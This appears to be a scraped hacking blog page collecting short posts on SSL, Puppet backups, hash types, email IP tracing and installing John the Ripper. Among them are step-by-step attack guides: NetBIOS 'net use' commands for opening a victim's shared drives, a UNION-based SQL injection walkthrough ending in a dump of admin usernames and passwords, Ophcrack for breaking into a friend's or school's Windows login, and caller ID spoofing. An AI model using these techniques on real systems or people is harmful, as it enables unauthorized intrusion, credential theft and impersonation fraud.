Secure Sockets Layer [SSL]

Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.

What exactly is Secure Communication ?
Suppose there exists two communication parties A (client) and B (server).


Working of HTTP
When A sends a message to B, the message is sent as a plain text in an unencrypted manner. This is acceptable in normal situations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B. In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker) can gain unauthorised access to the ongoing communication between A and B , he can see the PASSWORDS since they remain unencrypted. This scenario is illustrated using the following figure

Now lets see the working of HTTPS
When A sends a PASSWORD (say “mypass“) to B, the message is sent in an encrypted format. The encrypted message is decrypted on B‘s side. So even if the Hacker gains an unauthorised access to the ongoing communication between A and B he gets only the encrypted password (“xz54p6kd“) and not the original password. This is shown below

How is HTTPS implemented ?
HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement
HTTPS by purchasing an SSL Certificate. Secure Sockets Layer (SSL) technology protects
a Web site and makes it easy for the Web site visitors to trust it. It has the following uses

1. An SSL Certificate enables encryption of sensitive information during online transactions.
2. Each SSL Certificate contains unique, authenticated information about the certificate owner.
3. A Certificate Authority verifies the identity of the certificate owner when it is issued.

How Encryption Works ?
Each SSL Certificate consists of a Public key and a Private key. The public key is used to encrypt the information and the private key is used to decrypt it. When your browser connects to a secure domain, the server sends a Public key to the browser to perform the encryption. The public key is made available to every one but the private key(used for decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and sends it to the server. The message is decrypted on the server side using the Private key(Secret key).

How to identify a Secure Connection ?
In Internet Explorer, you will see a lock icon in the Security Status bar. The Security Status bar is located on the right side of the Address bar. You can click the lock to view the identity of the website.

In high-security browsers, the authenticated organization name is prominently displayed and the address bar turns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate has expired, the browser displays an error message or warning and the status bar may turn RED.

So the bottom line is, whenever you perform an online transaction such as Credit card payment, Bank login or Email login always ensure that you have a secure communication. A secure communication is a must in these situations. Otherwise there are chances of Phishing using a Fake login Page.

Read more

How Puppet Recovering Overwritten Files ?

Puppet Recovering Overwritten Files/ We all know the benefit of using Puppet in managing huge IT infrastructures. Puppet Master will be used to send configuration or desired state of puppet agents or clients or servers we wish to manage using manifests.

The alarming thing is that puppet default behavior is to overwrite the files, if the file already exists on the puppet agent machine. Which is sometimes good, sometimes bad (if we had deleted or overwritten a right file, wrongly).

This can be real disastrous, in any production environment.

There must be a way in puppet recovering overwritten files.

Puppet creates a backup copy of any file it changes, and stores it on the machine in a place called the clientbucket – /var/lib/puppet/clientbucket – to be precise. This can be handy if you ever accidentally overwrite an important file, and want to retrieve its original contents.

Step: 1 

I created a puppet manifest. A file resource which will be creating a file /tmp/bucket.txt with some sample text. Consider this text as very important for your production server. So here I am applying the manifest for the first time. Which will create the original and right file at the right place. The original contents here are – “This is backed up under clientbucket, if overwritten”.

Original File created by puppet

Step: 2

Now, I am intentionally, editing (consider it by accident) the original file /tmp/bucket.txt using puppet manifest. Creating a scenario that the original file is overwritten, by mistake.

Editing the original file, using puppet

Step: 3

Now after applying the new puppet manifest using puppet apply testbucket.pp, the original file /tmp/bucket.txt is overwritten by our fake or wrong contents, leading to non desired results on our Linux servers. You can see the new line – “Overwriting now” appended in the file.

Overwritten file by puppet

Step: 4

Now comes the challenge. We want our original file back. We already learned that puppet, by default, make a backup of all overwritten files under a location – clientbucket – /var/lib/puppet/clientbucket. So if I go under – /var/lib/puppet/clientbucket and do a grep for the word “bucket” (which was there in the original file). I should be able to get the original contents.

Recovering overwritten file from /var/lib/puppet/clientbucket

Step: 5

Now GEEKS !! Once you know the exact location, you can go in the path displayed and recover the original file and simply use the cp command to copy it in the original location.

Copy the contents from client bucket to original location

Step: 6

This is indeed a good Puppet hack to know. But in case you don’t want, think twice that you really don’t want. You don’t want puppet to create a backup copy of the file under – /var/lib/puppet/clientbucket. That simply means you cannot recover it in case of accidental modification.

You can still tell puppet not to create backup of any overwritten file by using – backup => false – argument within the file resource.

Configuring puppet not to create backup

Read more

A Network hack [Netbios Hacking]

This Netbios Hacking guide will tell you about hacking remote computer and gaining access to its hard disk or printer .Netbios hack is the easiest way to break into a remote computer  

Step 1: Open command prompt

Step 2: In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

Example: C:>net view \59.43.45.212

The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “59.43.45.212? is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

Step 3: After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.

Example-1:
C:>net use D: \59.43.45.212F
Example-2:
C:>net use G: \59.43.45.212SharedDocs
Example-3: 
C:>net use I: \59.43.45.212Myprint


NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “59.43.45.212? is the IP address of remote computer that you want to hack.

Step 4: After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.
[ad code=1 align=center]
Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access filesfolders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.

Read more

Automatically Save the Watched/Streamed Video on your Computer without Downloading It

Ever came across a situation that makes you feel lazy after watching a video on Youtube or any other site to Download and Save it on your computer?Are you facing any problem while downloading a video from a site with no Download buttons?Do you want to Download the Flash (.swf) files from a site?Do you want to save a video copy of Live Streaming channels?How To Save Video Files Played On Browser without downloading?

If your answer is "Yes" then this post will help you a lot To Automatically Save The Watched/Streamed Video on your Computer without Download it.

This all problems can be solved by using a software called "Video cache View".It is developed by Nirsoft.net

How Video Cache View works?

When we watch some videos on youtube or other sites they are temporarily stored in our web browser's cache.They can be extracted from the cache folder but it's complicated.This software (Video Cache View) automatically extracts the videos from our browsers and provides us an option to save the video file on our local storage (computer).It works finely on Most browsers like Mozilla Firefox ,Google Chrome, Internet Explore,Opera,etc.The file will be saved in FLV format and it can be played using VLC media Player.

How to Save Online Watched Videos in your Computer without Downloading them :-

1.Download the Video Cache View software from here. (if you want older versions or in other languages or in zip format download it from here )

2.Open the downloaded file and install it.

3.Now play the video on youtube or any othersite.

4. Open Video cache view software and it will show the files that are in our Browser's cache

5.Select the file you want to save in your computer.

6.Right click on the file you want to save and click "copy selected files to".

7.A Dialog box will appear asking you to set the destination folder for saving your files.

8.That's it your video file had been saved in your specified directory.Just open it with VLC media player and enjoy playing the Streamed Video on your Computer without Download it.

Note : After watching a video online ,If you happend to clear your browser's cache then you can't download that video.

Read more

SQL Injection Tutorial

There are many types  of  sql injection  but in this tutorial I will  explain how you can extract  columns  ,tables containing useful data such as passwords ,user id , emails , admin pass and id ..  etc

Exploiting The Vulnerability

Now say we have found a vulnerable site add  ‘  at the end of the url and if it returns with a

Error message then the site is vulnerable 


Example:-

www.vulnarable site.net/articles.php?id =1  ‘

 Now we need to find  the number of columns in current table
 For this we use “order by” commond  Add order by 1 -- 
 To the end of the url . Increase the numbers till we get a error message 


Example:-

www.vulnarable site.net/articles.php?id =1 order by 1--

www.vulnarable site.net/articles.php?id =1  order by 2--

www.vulnarable site.net/articles.php?id =1  order by 3--

www.vulnarable site.net/articles.php?id =1  order by 4--

www.vulnarable site.net/articles.php?id =1  order by 5 --

And so on till we get a error message 


Say we get a error message when we enter order by 5 --
Then number of columns in data base is 4 


Now we use the “ union all select “ commond to find the vulnerable column
Add union all select + the number of columns that we found in the last step


Example:-

www.vulnarable site.net/articles.php?id =1 union all select 1,2,3,4  --

Now we should we should find some numbers popping out 
Say we find one number 3 then column 3 is vulnerable



We can  find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:

user()  , database(),version(),@@user,@@version,@@database

First thing is to find the  version of Mysql we add “@@ version “replacing the vulnerable column


Example:-

www.vulnarable site.net/articles.php?id =1  union all select 1,2,@@version ,4 --

Now we must see the version of  Msql at place where the number popped out in the previous step .If it is above 5  continue reading . If it is 4 and below then you have to brute force or guess the table and column names .

Now we need to find  all the table names in the database. To do this we use the following commands


table_name  ,information_schema.tables


Example:- 

www.vulnarable site.net/articles.php?id =1 Union all select 1,2,table_name,4 from information_schema.tables --

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as admin tables or member or user tables. And so on


Now  we must find all the column names in the database, to do this we use the following command “group_concat(column_name) “,


Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(column_name) ,4 from information_schema.columns --

 Now  look for interesting names such as user name ,id ,email and password.
And so on 


Finally we need to dump the data from the columns corresponding to the tables  
For this we use the following  command group_concat
 Now  say we want to get the “user id“ ,"username" and "password" fields, from table "admin"  we use group_concat command
  

Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(user id ,0x3a, username,0x3a,password),4 from admin--

If the command is successful  we must find the user id , user name , password


Example :-

1 .   admin : pass 
2 .   user    : password

Most of the times the passwords are cyrpted to crack them refer my posts on Hashes and Salts

Read more

Different Types of Hashes and Salts

Ok, firstly alot of you still believe that hashes can be "decrypted", this is a common misconception because hashes are generated by One Way Cryptographic Hash Algorithms these means the algorithm that created them CAN NOT be reversed to determine the plain text password.

These one way functions are used by computers to prevent storing passwords in plain text in memory, instead when a password is entered (for example at a log in screen) a one way hash algorithm is applied to the supplied password and then the hashed output is compared to the hash for that user, stored in memory. If the two hashes match, the passwords are the same and the user is authenticated, if the two hashes are not the same the passwords do not match and the user is denied access.

MD5 - The most common hash you will come across in the wild is an MD5 hash (Message-Digest algorithm)

These hashes are easily identified by the following factors:

• They are always 32 characters in length (128 Bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

Code:

Example - f5d1278e8109edd94e1e4197e04873b9

If the hash breaks one of these rules - IT IS NOT MD5.

SHA1 - Still used frequently on the internet and is one of a large family of Secure Hash Algorithms.

These hashes are easily identified by the following factors:

• They are always 40 Characters in length (160 bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

Code:

Example - ab4d8d2a5f480a137067da17100271cd176607a1

If the hash breaks one of these rules - IT IS NOT SHA1.

MySQL < 4.1 - These aren't used very often but still come up on  very often because people have no idea what to do with them, they are used in older versions of Mysql.

These hashes are easily identified by the following factors

• They are always 16 Characters in length (64 bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

If the hash breaks one of these rules - IT IS NOT MYSQL < 4.1.

Code:

Example - 606727496645bcba

MYSQL5 - Used in newer versions of MYSQL to store database user passwords.

These hashes are easily identified by the following factors

• They are always 41 characters in length
• They are always capitalized
• They always begin with an asterisk 

If the hash breaks one of these rules - IT IS NOT MYSQL5.

Code:

Example - *C8EB599B8E8EE7BE9F1A5691B7BC9ECCB8DE1C75

MD5(Wordpress) - Used in word press driven sites, one of the most commonly confused hashes by everyone

These Hashes are easily identified by the following factors

• They always start with $P$
• They are always variable case alpha numeric (0-9 A-Z a-z)
• The are always 34 characters long

If the hash breaks one of these rules - IT IS NOT MD5(Wordpress).

Code:

Example - $P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR1

MD5(phpBB3) - Used in PHPBB forums, another commonly miss identified hash, especially amongst skids.

These Hashes are easily identified by the following factors

• They always start with $H$
• They are always variable case alpha numeric (0-9 A-Z a-z)
• The are always 34 characters long

If the hash breaks one of these rules - IT IS NOT MD5(PhpBB).


Code:

Example - $H$9xAbu5SruQM5WvBldAnS46kQMEw2EQ0

SALTS 
Ok now there is ALOT of confusion around salts , so im going to try and quickly clean this up - the most commonly salted hash is MD5 because it is cryptographically weak and easy to crack. So a salt gets added to the password before hashing to increase the parity. For example MD5($password.$salt).

Salted MD5 - Used in a large amount of applications to increase hash parity and to increase the time it takes to crack.

These Hashes are easily identified by the following factors

• They consist of two blocks connected by a colon, the first is the hash the second is the salt.
• The first part of the salted hash is hexadecimal, the second is variable case alphanumeric.
• They first part will always be 32 characters long
• The second part can be any length.

If the hash breaks one of these rules - IT IS NOT A SALTED MD5.

Code:

Example - 49adee90123f8c77d9020bba968c34dd:PS2en

Warning - in some cases the salt can contain symbols (but this is rare)

NOTE - You need both the salt AND the hash to decrypt a salted md5.

How To Crack Hashes

MD5 - MD5 hashes are easily broken in the present day due to the prevalence of online MD5 crackers such as  www.hashchecker.de. However if you cant crack your hash online then you will need to use a tool such as John The Ripper or more advanced hash crackers such as Password Pro or HashCat.

Read more

Trace IP address from Emails

In todays post i will Explain  how one can trace IP address from emails Headers. If you deal with Computer Security and Penetration testing , you must be knowing the importance on IP address . To perform any kind of penetration testing or hacking you first need to know the IP address . Here I am going to discuss how to obtain IP address from Gmail  and Yahoo.

Gmail :
Open the mail you have received from your friend and click on the down arrow to the
 right of the reply button. Now click on Show Original.

You will get to see the complete headers of the mail from which you have to find 
the IP from which this mail   was sent. Mostly in case of a static IP, the IP is shown as in the figure.

Yahoo:
Open the mail and click more option, click on 'View Full headers'

 Again over here you will get to see the IP in the same format as in gmail, shown above.

Read more

Hack Windows Password Using Ophcrack

Ever wanted to login to your friends/schools computer  which is password protected or  you’ve lost your Windows password and you've logged out of your computer. If you are in one of these situations you can use Ophcrack to hack/recover your passwords  .In this tutorial i will Explain how to hack windows password using Ophcrack

Things we Need :-

1. Ophcrack Live cd or Flash drive .You can download it from Here 

Note :-If u don't know how to make Ophcrack Live CD /Usb  you can have look at my previous Tutorial from Here   

Steps :-

1. First plug in your Ophcrack Live cd/usb .Now restart your computer and go to boot menu by  pressing ( f12 or del key ) now select your booting device as CD/USB accordingly

2. Now You will be presented with the Ophcrack LiveCD menu. Leave the default selected and hit enter on your keyboard (or just wait 5 seconds for it to automatically boot).

3. Slax, the version of Linux that is packaged with Ophcrack, will start up
 

4. Ophcrack will start on its own, and the passwords for each of your Windows users will be cracked and displayed on screen.

5. Write down the passwords, remove the CD from your CD/Usb  and restart your computer. Now you can log in to Windows .


By  this way we are able to hack/recover windows Password  .I hope you liked the post if you have any doubts please be free to comment

Read more

How to Make a Spoofed call [crazycall.net]

Caller ID is one of those things that many of us both love and hate. It’s great because if you are getting a call from that annoying neighbor down the street, you can skip it. However, it’s bad at times if the caller ID isn’t who you think it is .this method of using some ones number is called Caller ID spoofing

Caller ID spoofing is the act of making the telephone network to display any desired (Fake) number on the recipients Caller ID . It displays the fake number instead of the original number.With Caller ID spoofing we can make a call appear to have come from any phone number that we  wish. Have you ever wondered how to perform Caller ID spoofing? Read on to know how to a make a spoofed call  in few easy steps

Steps:

1. First a fall go to this site http://www.crazycall.net/
   

2. Select the country you are calling from, choose the Caller-ID you want to display

    and enter the number you  want to call.

3. Press "Get me a code" Now you will be  provided  with a number and a code.

4. Call the number Enter the code when it asks

5. Now you will  be connected to the desired number with a fake Caller ID that you set

NOTE :  By Reading this tutorial You agree that this tutorial is intended for educational purposes only.

Read more

Install John The Ripper On Ubuntu Linux

Requirements:

1. John The Ripper: Download the Latest and Free Version from here:
http://www.openwall.com/john/

 It will be in tar.gz format, namely john-1.7.7.tar.gz  



2. GCC:  GCC should be installed in your system. GCC is C and C++ Compiler.  Download and Install GCC

Why you need to install GCC?
John The Ripper comes as Source file. We have to compile and so that we can make the John The Ripper as executable.  GCC only going to help us to compile the John The Ripper files.

 Ok, Let us start installation.

John The Ripper Installation:
Step 1:
After Downloaded the john-1.7.7.tar.gz file, copy the file in Desktop.


Step 2:Extracting Tar.gz

Now Open the Terminal (Applications->Accessories->Terminal)
Enter this command in Terminal (to navigate to Desktop dir)

cd Desktop
Now Enter this command (to Extract the tar.gz file).

   tar -xzf john-1.7.7.tar.gz

Now john-1.7.7.tar.gz is extracted to john-1.7.7 folder.  

Alternate Extraction Method: Simply right click on the tar.gz file and select Extract here

Step 3: Compiling the Source File
Now Enter this command in Terminal(to navigate to john-1.7.7 directory)

cd john*

Then enter this command in Terminal (to navigate to src folder)

cd src

Then enter this command :
make

Now you can see list of Operating System.

Find the operating System option that match with your Operating System.
Then enter the following command:

   make clean Operating_System_option

For Example:

   make clean Linux-x86-64

If you don't know or can't find your operating system in list, then simply try  this instead:
make clean generic

It will start to compile the source file.  Wait for a while. It will take few minutes to complete the compilation (depending on your system speed, it will take time).

Step 4:End of Compilation and Installation
After compilation completed, john(executable) file will be created in john-1.7.7/run/ folder

Step 5: Let us Test
Okay let us test whether John the ripper is working or not.  
You are still in Terminal , right?

Enter the following command:

    cd -

This will bring you to the previous directory(i mean john-1.7.7/src to john-1.7.7/ folder).

Now enter the Following command (to navigate to john-1.7.7/run/ folder):
cd run

Let us run the John The Ripper from here.
Enter the Following command:

./john --test

It will start to process.  It will take time depending on the speed of your system.  If you want to terminate process , then press CTRL+C.

Read more